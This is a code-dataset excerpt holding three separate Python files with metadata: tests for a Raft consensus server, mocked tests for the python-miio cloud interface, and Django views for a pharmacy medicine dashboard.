is correct\n            assert new_candidate.config.node_mapping[node_id][\"addr\"] == msg.dest\n            # make sure leader is telling nodes where to send replies\n            assert new_candidate.address == msg.source\n            # Get the message and confirm its values make sense\n            msg.last_log_index == len(new_candidate.log) - 1\n            msg.last_log_term == new_candidate.log[-1].term if new_candidate.log else 0\n\n\ndef test_follower_handle_request_vote_rpc(\n    follower, fig7_a_log, candidate_request_vote_event\n):\n    follower.log = fig7_a_log\n    follower.current_term = follower.log[-1].term\n\n    # Grant vote if log long enough and nobody voted for yet\n    event = candidate_request_vote_event(1, 8, (\"127.0.0.1\", 3112))\n    event.msg.last_log_index = len(follower.log) + 1\n    event.msg.last_log_term = follower.log[-1].term\n    follower.node_id = 2\n\n    results = follower.handle_request_vote_rpc(event)\n    assert not is_empty_response(results)\n    resp = results.responses[0]\n    assert resp.vote_granted\n    assert follower.voted_for == 1\n    assert resp.dest == event.msg.source\n    assert resp.source == event.msg.dest\n    assert len(results.events) == 1\n    assert results.events[0].type == EventType.ResetElectionTimeout\n\n    # mark it something else and see vote rejected\n    follower.voted_for = 3\n    results = follower.handle_request_vote_rpc(event)\n    assert not is_empty_response(results)\n    resp = results.responses[0]\n    assert not resp.vote_granted\n    assert follower.voted_for == 3\n    assert resp.dest == event.msg.source\n    assert resp.source == event.msg.dest\n    assert not results.events\n\n    # reset to None and check the log_index is long enough for vote\n    follower.voted_for = None\n    event.msg.last_log_index = 2\n    results = follower.handle_request_vote_rpc(event)\n    assert not is_empty_response(results)\n    resp = results.responses[0]\n    assert not resp.vote_granted\n    assert follower.voted_for is None\n    assert resp.dest == event.msg.source\n    assert resp.source == event.msg.dest\n    assert not results.events\n\n    inst, resps_events = follower.handle_event(event)\n    assert inst is follower\n    assert inst.current_term == event.msg.term\n    result, empty = resps_events\n    assert not empty\n    assert not result[0].vote_granted\n    assert not results.events\n\n\ndef test_handle_vote_response_greater_term(\n    candidate, follower, fig7_a_log, candidate_request_vote_event\n):\n    # First, we try it with a term that's < Candidate's term\n    candidate.current_term = 20\n    follower.log = fig7_a_log\n    follower.current_term = follower.log[-1].term\n    # Reusing logic from follower-request vote tests\n    event = candidate_request_vote_event(1, 8, (\"127.0.0.1\", 3112))\n    event.msg.last_log_index = len(follower.log) + 1\n    event.msg.last_log_term = follower.log[-1].term\n    follower.node_id = 2\n    responses, _ = follower.handle_request_vote_rpc(event)\n    # sanity check\n    assert responses\n    resp_event = Event(EventType.ReceiveServerCandidateVote, responses[0])\n    inst, responses = candidate.handle_event(resp_event)\n    assert is_empty_response(responses)\n    assert inst == candidate\n\n    # Now we try it again and turn the candidate's current_term down\n    # Calling handle-event with a reponse with greater term creates conversion\n    candidate.current_term = 1\n    inst, responses = candidate.handle_event(resp_event)\n    assert inst != candidate\n    assert not is_empty_response(responses)\n    assert isinstance(inst, server.Follower)\n    assert responses.events[0] == models.EVENT_CONVERSION_TO_FOLLOWER\n\n\ndef test_handle_vote_response(\n    candidate, follower, fig7_a_log, candidate_request_vote_event\n):\n    follower.log = fig7_a_log\n    follower.current_term = follower.log[-1].term\n    # Reusing logic from follower-request vote tests\n    event = candidate_request_vote_event(1, 8, (\"127.0.0.1\", 3112))\n    event.msg.last_log_index = len(follower.log) + 1\n    event.msg.last_log_term = follower.log[-1].term\n    follower.node_id = 2\n    responses, _ = follower.handle_request_vote_rpc(event)\n    # sanity check\n    assert responses\n    resp_event = Event(EventType.ReceiveServerCandidateVote, responses[0])\n    result = candidate.handle_vote_response(resp_event)\n    assert is_empty_response(result)\n    # Idempotent: same response doesn't magically make them win\n    result = candidate.handle_vote_response(resp_event)\n    assert is_empty_response(result)\n    # After they have more votes, they can win\n    candidate.votes_received = set((3, 4))\n    result = candidate.handle_vote_response(resp_event)\n    assert not is_empty_response(result)\n    _, events = result\n    assert events\n    assert events[0].type == EventType.SelfWinElection\n\n\n# Testing Leader events\n\n\ndef test_leader_handle_event(leader, sample_append_confirm_rpc):\n    etype = EventType.AppendEntryConfirm\n    event = Event(etype, sample_append_confirm_rpc)\n    leader.current_term = 20\n    # should not convert\n    inst, maybe_resp_evs = leader.handle_event(event)\n    assert is_empty_response(maybe_resp_evs)\n    assert inst is leader\n\n    # Try to coerce it to convert\n    event.msg.term = 100\n    inst2, maybe_resp_evs = leader.handle_event(event)\n    assert inst2 is not leader\n    assert not is_empty_response(maybe_resp_evs)\n    assert len(maybe_resp_evs.events) == 1\n    assert maybe_resp_evs.events[0] == models.EVENT_CONVERSION_TO_FOLLOWER\n    assert isinstance(inst2, server.Follower)\n\n\n# Testing Leader Steps down\ndef check_that_leader_steps_down_if_out_of_date(leader, sample_append_confirm_rpc):\n    event = Event(EventType.AppendEntryConfirm, sample_append_confirm_rpc)\n    event.msg.term = 20\n    # In this case, the leader realizes it's out of date and immediately converts\n    inst, maybe_resp_evs = leader.handle_event(event)\n    assert maybe_resp_evs is not None\n    assert inst is not leader\n    assert isinstance(inst, server.Follower)\n\n\n# Testing Send Append Entries RPC\ndef test_leader_handle_heartbeat(leader):\n    \"\"\"There's a lot going on in this test\"\"\"\n    event = Event(EventType.HeartbeatTime, None)\n    inst, (resps, empty) = leader.handle_event(event)\n    # no conversion happened\n    assert not empty\n    assert inst is leader\n    for node_id, msg in zip(leader.all_node_ids, resps):\n        # make sure leader is not including itself in recipients\n        assert leader.address != msg.dest\n        # Check recipient is correct\n        assert leader.config.node_mapping[node_id][\"addr\"] == msg.dest\n        # make sure leader is telling nodes where to send replies\n        assert leader.address == msg.source\n        # Get the message and confirm its values make sense\n        msg.prev_log_index == leader.next_index[node_id] - 1\n        len(msg.entries) + leader.next_index[node_id] == len(leader.log)\n\n\n# This should be a *known* client!\nAPPEND_SUCCESS = Event(\n    EventType.AppendEntryConfirm,\n    rpc.AppendEntriesResponse(\n        term=6, match_index=10, source_node_id=2, success=True, dest=(\"127.0.0.1\", 3112)\n    ),\n)\n\n# This should be a *known* client!\nAPPEND_FAIL = Event(\n    EventType.AppendEntryConfirm,\n    rpc.AppendEntriesResponse(\n        term=1, match_index=2, source_node_id=4, success=False, dest=(\"127.0.0.1\", 3114)\n    ),\n)\n\n\n# Testing Leader handling append\ndef test_leader_handle_append_response(leader):\n    \"\"\"There's a lot going on in this test\"\"\"\n    inst, resps = leader.handle_event(APPEND_SUCCESS)\n    assert is_empty_response(resps)\n    assert inst is leader\n    assert leader.commit_index == 8\n    assert leader.match_index[APPEND_SUCCESS.msg.source_node_id] == len(leader.log)\n    assert leader.next_index[APPEND_SUCCESS.msg.source_node_id] == len(leader.log) + 1\n\n    # before failure: grab current expected next_index\n    current_next_for_node = leader.next_index[APPEND_FAIL.msg.source_node_id]\n    current_match_for_node = leader.next_index[APPEND_FAIL.msg.source_node_id]\n\n    inst, resps = leader.handle_event(APPEND_FAIL)\n    assert is_empty_response(resps)\n    assert inst is leader\n    assert leader.commit_index == 8\n    assert leader.match_index[APPEND_FAIL.msg.source_node_id] == current_match_for_node\n    assert (\n        leader.next_index[APPEND_FAIL.msg.source_node_id] == current_next_for_node - 1\n    )\n", "repo_name": "erewok/raft-py", "sub_path": "tests/raft/models/test_server.py", "file_name": "test_server.py", "file_ext": "py", "file_size_in_byte": 14626, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "70", "api": [{"api_name": "raft.models.Event", "line_number": 12, "usage_type": "call"}, {"api_name": "raft.models.EventType.CandidateRequestVoteRpc", "line_number": 13, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 13, "usage_type": "name"}, {"api_name": "raft.models.rpc.RequestVoteRpc", "line_number": 14, "usage_type": "call"}, {"api_name": "raft.models.rpc", "line_number": 14, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 9, "usage_type": "attribute"}, {"api_name": "raft.models.Event", "line_number": 30, "usage_type": "call"}, {"api_name": "raft.models.EventType.ReceiveServerCandidateVote", "line_number": 31, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 31, "usage_type": "name"}, {"api_name": "raft.models.rpc.RequestVoteResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "raft.models.rpc", "line_number": 32, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 27, "usage_type": "attribute"}, {"api_name": "raft.models.server.ResponsesEvents", "line_number": 44, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 44, "usage_type": "name"}, {"api_name": "raft.models.server.Follower", "line_number": 51, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 51, "usage_type": "name"}, {"api_name": "raft.models.server.Candidate", "line_number": 52, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 52, "usage_type": "name"}, {"api_name": "raft.models.server.Leader", "line_number": 53, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 53, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 57, "usage_type": "call"}, {"api_name": "raft.models.server.Follower", "line_number": 58, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 58, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 59, "usage_type": "call"}, {"api_name": "raft.models.server.Leader", "line_number": 60, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 60, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 61, "usage_type": "call"}, {"api_name": "raft.models.server.Leader.mro", "line_number": 63, "usage_type": "call"}, {"api_name": "raft.models.server.Leader", "line_number": 63, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 63, "usage_type": "name"}, {"api_name": "raft.models.server.Candidate", "line_number": 65, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 65, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 69, "usage_type": "call"}, {"api_name": "raft.models.server.Candidate", "line_number": 70, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 70, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 71, "usage_type": "call"}, {"api_name": "raft.models.server.Leader", "line_number": 72, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 72, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 73, "usage_type": "call"}, {"api_name": "raft.models.server.Leader.mro", "line_number": 75, "usage_type": "call"}, {"api_name": "raft.models.server.Leader", "line_number": 75, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 75, "usage_type": "name"}, {"api_name": "raft.models.server.Follower", "line_number": 77, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 77, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 98, "usage_type": "call"}, {"api_name": "raft.models.EventType.LeaderAppendLogEntryRpc", "line_number": 98, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 98, "usage_type": "name"}, {"api_name": "raft.models.EventType.ResetElectionTimeout", "line_number": 102, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 102, "usage_type": "name"}, {"api_name": "raft.models.EventType.ResetElectionTimeout", "line_number": 117, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 117, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 81, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 81, "usage_type": "attribute"}, {"api_name": "raft.models.Event", "line_number": 142, "usage_type": "call"}, {"api_name": "raft.models.EventType.Tick", "line_number": 144, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 144, "usage_type": "name"}, {"api_name": "raft.models.server.Candidate", "line_number": 157, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 157, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 125, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 125, "usage_type": "attribute"}, {"api_name": "raft.models.EventType.SelfWinElection", "line_number": 129, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 129, "usage_type": "name"}, {"api_name": "raft.models.server.Leader", "line_number": 130, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 130, "usage_type": "name"}, {"api_name": "raft.models.EVENT_CONVERSION_TO_LEADER", "line_number": 131, "usage_type": "attribute"}, {"api_name": "raft.models", "line_number": 131, "usage_type": "name"}, {"api_name": "raft.models.EVENT_START_HEARTBEAT", "line_number": 131, "usage_type": "attribute"}, {"api_name": "raft.models.EventType.LeaderAppendLogEntryRpc", "line_number": 134, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 134, "usage_type": "name"}, {"api_name": "raft.models.server.Follower", "line_number": 135, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 135, "usage_type": "name"}, {"api_name": "raft.models.EVENT_CONVERSION_TO_FOLLOWER", "line_number": 136, "usage_type": "attribute"}, {"api_name": "raft.models", "line_number": 136, "usage_type": "name"}, {"api_name": "raft.models.EventType.Tick", "line_number": 138, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 138, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 167, "usage_type": "call"}, {"api_name": "raft.models.EventType.ElectionTimeoutStartElection", "line_number": 167, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 167, "usage_type": "name"}, {"api_name": "raft.models.EventType.ResetElectionTimeout", "line_number": 210, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 210, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 259, "usage_type": "call"}, {"api_name": "raft.models.EventType.ReceiveServerCandidateVote", "line_number": 259, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 259, "usage_type": "name"}, {"api_name": "raft.models.server.Follower", "line_number": 270, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 270, "usage_type": "name"}, {"api_name": "raft.models.EVENT_CONVERSION_TO_FOLLOWER", "line_number": 271, "usage_type": "attribute"}, {"api_name": "raft.models", "line_number": 271, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 287, "usage_type": "call"}, {"api_name": "raft.models.EventType.ReceiveServerCandidateVote", "line_number": 287, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 287, "usage_type": "name"}, {"api_name": "raft.models.EventType.SelfWinElection", "line_number": 299, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 299, "usage_type": "name"}, {"api_name": "raft.models.EventType.AppendEntryConfirm", "line_number": 306, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 306, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 307, "usage_type": "call"}, {"api_name": "raft.models.EVENT_CONVERSION_TO_FOLLOWER", "line_number": 320, "usage_type": "attribute"}, {"api_name": "raft.models", "line_number": 320, "usage_type": "name"}, {"api_name": "raft.models.server.Follower", "line_number": 321, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 321, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 326, "usage_type": "call"}, {"api_name": "raft.models.EventType.AppendEntryConfirm", "line_number": 326, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 326, "usage_type": "name"}, {"api_name": "raft.models.server.Follower", "line_number": 332, "usage_type": "attribute"}, {"api_name": "raft.models.server", "line_number": 332, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 338, "usage_type": "call"}, {"api_name": "raft.models.EventType.HeartbeatTime", "line_number": 338, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 338, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 356, "usage_type": "call"}, {"api_name": "raft.models.EventType.AppendEntryConfirm", "line_number": 357, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 357, "usage_type": "name"}, {"api_name": "raft.models.rpc.AppendEntriesResponse", "line_number": 358, "usage_type": "call"}, {"api_name": "raft.models.rpc", "line_number": 358, "usage_type": "name"}, {"api_name": "raft.models.Event", "line_number": 364, "usage_type": "call"}, {"api_name": "raft.models.EventType.AppendEntryConfirm", "line_number": 365, "usage_type": "attribute"}, {"api_name": "raft.models.EventType", "line_number": 365, "usage_type": "name"}, {"api_name": "raft.models.rpc.AppendEntriesResponse", "line_number": 366, "usage_type": "call"}, {"api_name": "raft.models.rpc", "line_number": 366, "usage_type": "name"}]}
{"seq_id": "884325931", "text": "import json\nfrom pathlib import Path\n\nimport pytest\nfrom micloud.micloudexception import MiCloudAccessDenied\n\nfrom miio import CloudException, CloudInterface\n\n\ndef load_fixture(filename: str) -> str:\n    \"\"\"Load a fixture.\"\"\"\n    file = Path(__file__).parent.absolute() / \"fixtures\" / filename\n    with file.open() as f:\n        return json.load(f)\n\n\nMICLOUD_DEVICES_RESPONSE = load_fixture(\"micloud_devices_response.json\")\n\n\n@pytest.fixture\ndef cloud() -> CloudInterface:\n    \"\"\"Cloud interface fixture.\"\"\"\n\n    return CloudInterface(username=\"foo\", password=\"bar\")\n\n\ndef test_available_locales(cloud: CloudInterface):\n    \"\"\"Test available locales.\"\"\"\n    available = cloud.available_locales()\n    assert list(available.keys()) == [\"all\", \"cn\", \"de\", \"i2\", \"ru\", \"sg\", \"us\"]\n\n\ndef test_login_success(cloud: CloudInterface, mocker):\n    \"\"\"Test cloud login success.\"\"\"\n    login = mocker.patch(\"micloud.MiCloud.login\", return_value=True)\n    cloud._login()\n    login.assert_called()\n\n\n@pytest.mark.parametrize(\n    \"mock_params\",\n    [{\"side_effect\": MiCloudAccessDenied(\"msg\")}, {\"return_value\": False}],\n)\ndef test_login(cloud: CloudInterface, mocker, mock_params):\n    \"\"\"Test cloud login failures.\"\"\"\n    mocker.patch(\"micloud.MiCloud.login\", **mock_params)\n    with pytest.raises(CloudException):\n        cloud._login()\n\n\ndef test_single_login_for_all_locales(cloud: CloudInterface, mocker):\n    \"\"\"Test that login gets called only once.\"\"\"\n    login = mocker.patch(\"micloud.MiCloud.login\", return_value=True)\n    mocker.patch(\"micloud.MiCloud.get_devices\", return_value=MICLOUD_DEVICES_RESPONSE)\n    cloud.get_devices()\n    login.assert_called_once()\n\n\n@pytest.mark.parametrize(\"locale\", CloudInterface.available_locales())\ndef test_get_devices(cloud: CloudInterface, locale, mocker):\n    \"\"\"Test cloud get devices.\"\"\"\n    login = mocker.patch(\"micloud.MiCloud.login\", return_value=True)\n    mocker.patch(\"micloud.MiCloud.get_devices\", return_value=MICLOUD_DEVICES_RESPONSE)\n\n    devices = cloud.get_devices(locale)\n\n    multiplier = len(CloudInterface.available_locales()) - 1 if locale == \"all\" else 1\n    assert len(devices) == 3 * multiplier\n\n    main_devs = [dev for dev in devices.values() if not dev.is_child]\n    assert len(main_devs) == 2 * multiplier\n\n    dev = list(devices.values())[0]\n\n    if locale != \"all\":\n        assert dev.locale == locale\n\n    login.assert_called_once()\n\n\ndef test_cloud_device_info(cloud: CloudInterface, mocker):\n    \"\"\"Test cloud device info.\"\"\"\n    mocker.patch(\"micloud.MiCloud.login\", return_value=True)\n    mocker.patch(\"micloud.MiCloud.get_devices\", return_value=MICLOUD_DEVICES_RESPONSE)\n\n    devices = cloud.get_devices(\"de\")\n    dev = list(devices.values())[0]\n\n    assert dev.raw_data == MICLOUD_DEVICES_RESPONSE[0]\n    assert dev.name == \"device 1\"\n    assert dev.mac == \"xx:xx:xx:xx:xx:xx\"\n    assert dev.model == \"some.model.v2\"\n    assert dev.is_child is False\n    assert dev.parent_id == \"\"\n    assert dev.parent_model == \"\"\n    assert dev.is_online is False\n    assert dev.did == \"1234\"\n    assert dev.ssid == \"ssid\"\n    assert dev.bssid == \"xx:xx:xx:xx:xx:xx\"\n    assert dev.description == \"description\"\n    assert dev.locale == \"de\"\n    assert dev.rssi == -55\n", "repo_name": "rytilahti/python-miio", "sub_path": "miio/tests/test_cloud.py", "file_name": "test_cloud.py", "file_ext": "py", "file_size_in_byte": 3224, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2794, "dataset": "github-code", "pt": "70", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 14, "usage_type": "call"}, {"api_name": "miio.CloudInterface", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "attribute"}, {"api_name": "miio.CloudInterface", "line_number": 21, "usage_type": "name"}, {"api_name": "miio.CloudInterface", "line_number": 27, "usage_type": "name"}, {"api_name": "miio.CloudInterface", "line_number": 33, "usage_type": "name"}, {"api_name": "miio.CloudInterface", "line_number": 44, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 47, "usage_type": "call"}, {"api_name": "miio.CloudException", "line_number": 47, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 40, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 40, "usage_type": "attribute"}, {"api_name": "micloud.micloudexception.MiCloudAccessDenied", "line_number": 42, "usage_type": "call"}, {"api_name": "miio.CloudInterface", "line_number": 51, "usage_type": "name"}, {"api_name": "miio.CloudInterface", "line_number": 60, "usage_type": "name"}, {"api_name": "miio.CloudInterface.available_locales", "line_number": 67, "usage_type": "call"}, {"api_name": "miio.CloudInterface", "line_number": 67, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 59, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 59, "usage_type": "attribute"}, {"api_name": "miio.CloudInterface.available_locales", "line_number": 59, "usage_type": "call"}, {"api_name": "miio.CloudInterface", "line_number": 59, "usage_type": "name"}, {"api_name": "miio.CloudInterface", "line_number": 81, "usage_type": "name"}]}
{"seq_id": "23313400665", "text": "from functools import cached_property\nfrom msilib.schema import Error\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse_lazy\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom User.forms import  UpdateUserForm\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.views.generic import CreateView, UpdateView, DeleteView, ListView\nfrom .models import Pharmacy, Medicine\n\n\n@login_required\ndef dashboard(request):\n    print(request.user)\n    print(request.user.id)\n    info = Pharmacy.objects.all()\n    \n    context = { 'info':info}\n    return render(request, 'dashboard/home_content.html', context)\n\n@login_required\ndef Profile(request):\n    if Pharmacy.objects.filter(user_id = request.user.id).exists() == False:\n        return redirect('create_profile')\n    \n    return redirect(f\"update_profile/{Pharmacy.objects.get(user_id=request.user.id).id}\")\n\n@login_required\ndef add_item(request):\n    if Pharmacy.objects.filter(user_id = request.user.id).exists() == False:\n        return redirect('create_profile')\n   \n    return redirect('add_item')\n\n\nclass MedicineListView(LoginRequiredMixin, ListView):\n    \n    model = Medicine\n    template_name = 'dashboard/item_list.html'\n    context_object_name = 'info'\n\n\nclass MedicineCreateView(LoginRequiredMixin, CreateView):\n    model = Medicine\n    template_name = 'dashboard/MedicineForm.html'\n    fields = ['medicine_name', 'comapny']\n    \n    def test_func(self):\n                print('test')\n                item = self.get_object()\n                if self.request.user == item.owner.user:\n                    return True\n                return False\n    def form_valid(self, form):\n                \n                form.instance.owner = self.request.user.pharmacy\n                return super().form_valid(form)\n                                                        \n    \n\n    \n\nclass MedicineUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\n    model = Medicine\n    template_name = 'dashboard/MedicineForm.html'\n    fields = ['medicine_name', 'comapny']\n    def form_valid(self, form):\n        form.instance.owner = self.request.user.pharmacy\n        return super().form_valid(form)\n\n    def test_func(self):\n        item = self.get_object()\n        print(self.request.user == item.owner.user)\n        \n        if self.request.user == item.owner.user:\n            return True\n        return False\n\n\nclass MedicineDeleteView(LoginRequiredMixin, UserPassesTestMixin, DeleteView):\n    DeleteView.model = Medicine\n\n    DeleteView.success_url =  reverse_lazy('item_list')\n    def test_func(self):\n        item = self.get_object()\n        if self.request.user == item.owner.user:\n            return True\n        return False\n    \n    \nclass ProfileCreateView(LoginRequiredMixin, CreateView):\n    model = Pharmacy\n    template_name = 'dashboard/create_profile.html'\n    fields = ['pharmacy_name',\"phone_number\",\"location\",\"google_map_link\"]\n    \n    def test_func(self):\n                print('test')\n                item = self.get_object()\n                \n                if self.request.user == item.user:\n                    return True\n                return False\n    def form_valid(self, form):\n                \n                form.instance.user = self.request.user\n                return super().form_valid(form)\n                                                        \nclass ProfileUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\n    model = Pharmacy\n    template_name = 'dashboard/update_profile.html'\n    fields = ['pharmacy_name',\"phone_number\",\"location\",\"google_map_link\"]\n    def test_func(self):\n                print('test')\n                item = self.get_object()\n                \n                if self.request.user == item.user:\n                    return True\n                return False\n    def form_valid(self, form):\n                \n                form.instance.user = self.request.user\n                return super().form_valid(form)  \n\n\n@login_required\ndef update_admin_profile(request):\n    \n    if request.method == 'POST':\n        info_form = UpdateUserForm(request.POST,instance=request.user)\n        if info_form.is_valid():\n            info_form.save()\n            messages.success(request, f'\\a تم تحديث حسابك بنجاح')\n\n            return redirect('dashboard')\n    else:\n        info_form = UpdateUserForm(instance=request.user)\n\n    context = {\n        'info_form' : info_form,\n    }\n    return render(request, 'dashboard/update_admin_profile.html', context)\n\n\n\n", "repo_name": "Al-mogtaba/E-Dawa", "sub_path": "dashboard/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "models.Pharmacy.objects.all", "line_number": 17, "usage_type": "call"}, {"api_name": "models.Pharmacy.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "models.Pharmacy", "line_number": 17, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 13, "usage_type": "name"}, {"api_name": "models.Pharmacy.objects.filter", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Pharmacy.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Pharmacy", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Pharmacy.objects.get", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Pharmacy.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Pharmacy", "line_number": 27, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 22, "usage_type": "name"}, {"api_name": "models.Pharmacy.objects.filter", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Pharmacy.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "models.Pharmacy", "line_number": 31, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 29, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 37, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 37, "usage_type": "name"}, {"api_name": "models.Medicine", "line_number": 39, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 44, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 44, "usage_type": "name"}, {"api_name": "models.Medicine", "line_number": 45, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 64, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.UserPassesTestMixin", "line_number": 64, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 64, "usage_type": "name"}, {"api_name": "models.Medicine", "line_number": 65, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 81, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.UserPassesTestMixin", "line_number": 81, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 81, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView.model", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.views.generic.DeleteView", "line_number": 82, "usage_type": "name"}, {"api_name": "models.Medicine", "line_number": 82, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView.success_url", "line_number": 84, "usage_type": "attribute"}, {"api_name": "django.views.generic.DeleteView", "line_number": 84, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 92, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 92, "usage_type": "name"}, {"api_name": "models.Pharmacy", "line_number": 93, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 109, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.UserPassesTestMixin", "line_number": 109, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 109, "usage_type": "name"}, {"api_name": "models.Pharmacy", "line_number": 110, "usage_type": "name"}, {"api_name": "User.forms.UpdateUserForm", "line_number": 130, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 133, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 133, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 135, "usage_type": "call"}, {"api_name": "User.forms.UpdateUserForm", "line_number": 137, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 142, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 126, "usage_type": "name"}]}
